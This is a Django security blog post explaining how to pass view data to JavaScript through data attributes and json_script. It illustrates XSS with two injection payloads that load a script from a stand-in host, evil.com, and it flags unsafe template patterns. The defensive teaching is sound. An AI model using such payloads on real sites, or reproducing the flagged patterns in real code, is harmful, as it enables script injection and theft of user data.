How to Safely Pass Data to JavaScript in a Django Template

Let’s avoid Honk-TML injection!

You want to pass your data from your Django view to JavaScript, in your template. And, you want to do it securely, with no risk of accidentally allowing malicious code injection. Great, this is the post for you!

We’re going to look at the problems with templating JavaScript, then two techniques:

And finally, some other options that I don’t recommend.

Let’s go!

Update (2022-10-21) The BugBytes Youtube channel has a video based on this post, demonstrating the two approved techniques.

Templating JavaScript don’t work

Many developers try templating inline <script> tags directly:

{# DON’T DO THIS #}
<script>
    const username = "{{ username }}";
</script>

I recommend you never do this!

This doesn’t generally work, since Django performs HTML-escaping on the value. For example, if username was "Adam <3", the output would be:

<script>
    const username = "Adam &lt;3";
</script>

This would mean displaying the username incorrectly.

Additionally, it’s super dangerous if you template non-string variables, or use JavaScript template literals (JavaScript’s f-strings that use backticks). For example, take this template:

{# DON’T DO THIS #}
<script>
    const greeting = `Hi {{ username }}`;
</script>

A malicious value can use a backtick to end the literal, and then add arbitrary JavaScript. For example, if username was:

a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;`

…then the HTML would be:

<script>
    const greeting = `Hi a`; document.body.appendChild(document.createElement(`script`)).src = `evil.com/js`;``;
</script>

This code defines greeting, then inserts a <script> into the DOM sourced from evil.com. That script could steal all user data. Panik!!!

Django’s template system only escapes HTML. It is not designed for escaping values inside of JavaScript, which has broader syntax.

Whilst templating JavaScript works in limited situations, since it’s not generally safe, I recommend you never do it. It’s too hard to maintain a separation betwee variables that always contain safe characters, and those which don’t. Also, only certain tags and filters are safe. In time, you’ll eventually introduce security holes.

Instead, use one of the two following techniques.

Use data attributes for simple values

To pass simple values to your JavaScript, it’s convenient to use data attributes:

<script data-username="{{ username }}">
    const data = document.currentScript.dataset;
    const username = data.username;
</script>

document.currentScript provides quick access to the current <script> element. Its dataset property contains the passed attributes as strings.

Separate script files

You can use document.currentScript for separate script files too:

{% load static %}
<script src="{% static 'index.js' %}"
        defer
        data-username="{{ username }}"></script>

…reading the same:

const data = document.currentScript.dataset;
const username = data.username;

Simples!

I recommend that you use separate script files as much as possible. They’re better for performance as the browser can cache the code. Plus, you can set up a Content Security Policy (CSP) to disallow inline script tags, which prevents XSS attacks—see my security headers post.)

Case conversion

The dataset property converts kebab-case to camelCase. For example, if you had data-full-name:

{% load static %}
<script src="{% static 'index.js' %}"
        defer
        data-full-name="{{ full_name }}"></script>

…you’d read it in JavaScript as fullName:

const data = document.currentScript.dataset;
const fullName = data.fullName;

HTML kebabs become JavaScript camels.

Non-string types

dataset only contains strings, because all HTML attribute values are strings. If you are passing a number, date, or other simple type to your JavaScript, you’ll need to parse it. For example, imagine you were passing an integer:

{% load static %}

<script src="{% static 'index.js' %}"
        defer
        data-follower-count="{{ follower_count }}"></script>

…you’d want parseInt() to convert this value from a string:

const data = document.currentScript.dataset;
const followerCount = parseInt(data.followerCount, 10);

Right-o.

There’s no limit

A <script> can have as many data attributes as you like:

{% load static %}
<script src="{% static 'index.js' %}"
        defer
        data-settings-url="{% url 'settings' %}"
        data-configuration-url="{% url 'configuration' %}"
        data-options-url="{% url 'options' %}"
        data-preferences-url="{% url 'preferences' %}"
        data-setup-url="{% url 'setup' %}"
        ></script>

…but at some point this might feel quite unwieldy. Also, it’s not convenient to pass complex types like dicts or lists in attributes. That leads us to door number two!

Use json_script for complex values

If you need to pass a dict or list to JavaScript, use Django’s json_script filter. For example, imagine your view passed this variable in the context:

follower_chart = [
    {"date": "2022-10-05", "count": 11},
    {"date": "2022-10-06", "count": 12},
]

You could pass this variable to the json_script filter like so:

{% load static %}

<script src="{% static 'follower-chart.js' %}" defer></script>
{{ follower_chart|json_script }}

Django would render a <script type="application/json"> tag containing the data:

<script src="/static/follower-chart.js" defer></script>
<script type="application/json">[{"date": "2022-10-05", "count": 11}, {"date": "2022-10-06", "count": 12}]</script>

The script can then find the data <script> as the next element after document.currentScript using nextElementSibling, and parse the data with JSON.parse():

const data = JSON.parse(
  document.currentScript.nextElementSibling.textContent
);

Sweet.

Django < 4.1

The above form of json_script is only supported on Django 4.1+. Before then, you need to give it an ID for the data <script>, but you can pass "", which browsers understand as “no ID”:

{% load static %}

<script src="{% static 'follower-chart.js' %}" defer></script>
{{ follower_chart|json_script:"" }}

…rendered as:

<script src="/static/follower-chart.js" defer></script>
<script id="" type="application/json">[{"date": "2022-10-05", "count": 11}, {"date": "2022-10-06", "count": 12}]</script>

The above JavaScript will still work, as it just uses the DOM structure to find the data <script>.

Alrighty then.

With an ID

You can also pass an ID to json_script for the data <script>. This can be useful if your JavaScript <script> is not next to your data <script>, or if one JavaScript file should use several data <script>s. For example:

{% load static %}

<script src="{% static 'charts.js' %}" defer></script>
{{ follower_chart|json_script:"follower-chart-data" }}
{{ following_chart|json_script:"following-chart-data" }}

Django renders this as:

<script src="/static/charts.js" defer></script>
<script id="follower-chart-data" type="application/json">[{"date": "2022-10-05", "count": 11}, {"date": "2022-10-06", "count": 12}]</script>
<script id="following-chart-data" type="application/json">[{"date": "2022-10-05", "count": 1234}, {"date": "2022-10-06", "count": 1287}]</script>

You can then use document.getElementById() to find the data <script> elements, and JSON.parse() again to parse the contained data:

const followerData = JSON.parse(
  document.getElementById('follower-chart-data').textContent
);
const followingData = JSON.parse(
  document.getElementById('following-chart-data').textContent
);

This is the technique recommended in the json_script docs.

Neat!

Other unrecommended techniques

Here are a couple of other options you have seen, that I do not recommend.

Unsafe use of the safe filter

You may have seen templated JavaScript that uses the safe filter:

{# DON’T DO THIS #}
<script>
    const username = "{{ username|safe }}";
</script>

safe marks a variable as “safe for direct inclusion in HTML”, that is, it disables Django’s HTML escaping. This would allow username = "Adam <3" to be appear unaltered in the templated script:

<script>
    const username = "Adam <3";
</script>

This opens the script up wide for attack though. Imagine the username was:

</script><script src=evil.com/js></script>

…then, the rendered HTML would be:

<script>
    const username = "</script><script src=evil.com/js></script>";
</script>

The browser parses HTML without any awareness of JavaScript syntax, resulting in:

  1. A first <script>, closing after const username = ". The browser will run this JavaScript, which will crash with an error about the unclosed string.
  2. The second injected <script> tag, which loads evil.com/js.
  3. A text node with contents ";
  4. The final </script> being ignored, as it doesn’t match an opening <script>.

Again, evil.com/js could steal all user data. Panik!!

So, using safe like this is unsafe. It’s only safe to use it with already-escaped HTML, for example from a pre-rendered fragment.

What about escapejs?

It is possible to template JavaScript with the escapejs filter:

<script>
    const username = "{{ username|escapejs }}";
</script>

This has some subtleties though, as the docs currently say:

This does not make the string safe for use in HTML or JavaScript template literals

(Reminder: template literals are JavaScript’s equivalent to f-strings.)

However, there’s an open PR to improve the docs. It seems that escapejs was made safe in the past with a documentation update.

Still, I recommend using data attributes because:

  1. Templating JavaScript is still not generally safe: you can’t use other tags or filters without risk.

  2. Data attributes work with both inline scripts and separate script files. You don’t need to refactor anything if you move from an inline script to a separate file.

    (And using separate script files is good for other reasons, as noted previously.)

  3. At current, the docs still say escapejs is unsafe. There hasn’t yet been approval from the Django security team or fellows.

Fin

May your data always pass swiftly and safely to your JavaScript,

—Adam


Newly updated: my book Boost Your Django DX now covers Django 5.0 and Python 3.12.


Subscribe via RSS, Twitter, Mastodon, or email:

One summary email a week, no spam, I pinky promise.

Related posts:

Tags: